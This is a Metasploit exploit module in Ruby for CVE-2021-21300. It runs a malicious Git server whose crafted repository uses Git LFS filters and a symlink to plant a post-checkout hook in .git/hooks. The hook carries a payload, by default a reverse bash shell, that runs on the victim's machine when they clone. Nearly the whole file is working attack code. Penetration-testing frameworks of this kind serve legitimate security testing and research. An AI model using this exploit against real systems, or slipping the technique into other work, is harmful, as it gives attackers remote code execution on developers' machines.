##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Git
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Git::Lfs
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git LFS Clone Command Exec',
        'Description' => %q{
          Git clients that support delay-capable clean / smudge
          filters and symbolic links on case-insensitive file systems are
          vulnerable to remote code execution while cloning a repository.

          Usage of clean / smudge filters through Git LFS and a
          case-insensitive file system changes the checkout order
          of repository files which enables the placement of a Git hook
          in the `.git/hooks` directory. By default, this module writes
          a `post-checkout` script so that the payload will automatically
          be executed upon checkout of the repository.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Johannes Schindelin', # Discovery
          'Matheus Tavares', # Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-21300' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
          [ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
        ],
        'DisclosureDate' => '2021-04-26',
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Git for MacOS, Windows',
            {
              'Platform' => [ 'unix' ],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        }
      )
    )

    register_options(
      [
        OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
      ]
    )

    deregister_options('RHOSTS', 'RPORT')
  end

  def exploit
    setup_repo_structure
    super
  end

  def setup_repo_structure
    link_content = '.git/hooks'
    link_name = Rex::Text.rand_text_alpha(8..12).downcase
    link_obj = GitObject.build_blob_object(link_content)

    dir_name = link_name.upcase
    git_attr = '.gitattributes'

    git_hook = 'post-checkout'
    @hook_payload = "#!/bin/sh\n#{payload.encoded}"
    ptr_file = generate_pointer_file(@hook_payload)

    # need to initially send the pointer file
    # then send the actual object when Git LFS requests it
    git_hook_ptr = GitObject.build_blob_object(ptr_file)

    git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
    git_attr_obj = GitObject.build_blob_object(git_attr_content)

    sub_file_content = Rex::Text.rand_text_alpha(0..150)
    sub_file_name = Rex::Text.rand_text_alpha(8..12)
    sub_file_obj = GitObject.build_blob_object(sub_file_content)

    register_dir_for_cleanup('.git')
    register_files_for_cleanup(git_attr, link_name)

    # create subdirectory which holds payload
    sub_tree =
      [
        {
          mode: '100644',
          file_name: sub_file_name,
          sha1: sub_file_obj.sha1
        },
        {
          mode: '100755',
          file_name: git_hook,
          sha1: git_hook_ptr.sha1
        }
      ]

    sub_tree_obj = GitObject.build_tree_object(sub_tree)

    # root of repository
    tree_ent =
      [
        {
          mode: '100644',
          file_name: git_attr,
          sha1: git_attr_obj.sha1
        },
        {
          mode: '040000',
          file_name: dir_name,
          sha1: sub_tree_obj.sha1
        },
        {
          mode: '120000',
          file_name: link_name,
          sha1: link_obj.sha1
        }
      ]
    tree_obj = GitObject.build_tree_object(tree_ent)
    commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

    @git_objs =
      [
        commit, tree_obj, sub_tree_obj,
        sub_file_obj, git_attr_obj, git_hook_ptr,
        link_obj
      ]

    @refs =
      {
        'HEAD' => 'refs/heads/master',
        'refs/heads/master' => commit.sha1
      }
  end

  def create_git_uri
    "/#{Faker::App.name.downcase}.git".gsub(' ', '-')
  end

  def primer
    @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
    @git_addr = URI.parse(get_uri).merge(@git_repo_uri)
    print_status("Git repository to clone: #{@git_addr}")
    hardcoded_uripath(@git_repo_uri)
    hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
  end

  def on_request_uri(cli, req)
    if req.uri.include?('git-upload-pack')
      request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
      case request.type
      when 'ref-discovery'
        response = send_refs(request)
      when 'upload-pack'
        response = send_requested_objs(request)
      else
        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
      end
    else
      response = handle_lfs_objects(req)
      unless response.code == 200
        cli.send_response(response)
        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
      end
    end

    cli.send_response(response)
  end

  def send_refs(req)
    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

    response = get_ref_discovery_response(req, @refs)
    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

    response
  end

  def send_requested_objs(req)
    upload_pack_resp = get_upload_pack_response(req, @git_objs)
    unless upload_pack_resp
      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
    end

    upload_pack_resp
  end

  def handle_lfs_objects(req)
    git_hook_obj = GitObject.build_blob_object(@hook_payload)

    case req.method
    when 'POST'
      print_status('Sending payload data...')
      response = get_batch_response(req, @git_addr, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
    when 'GET'
      print_status('Sending LFS object...')
      response = get_requested_obj_response(req, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
    else
      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
    end

    response
  end
end
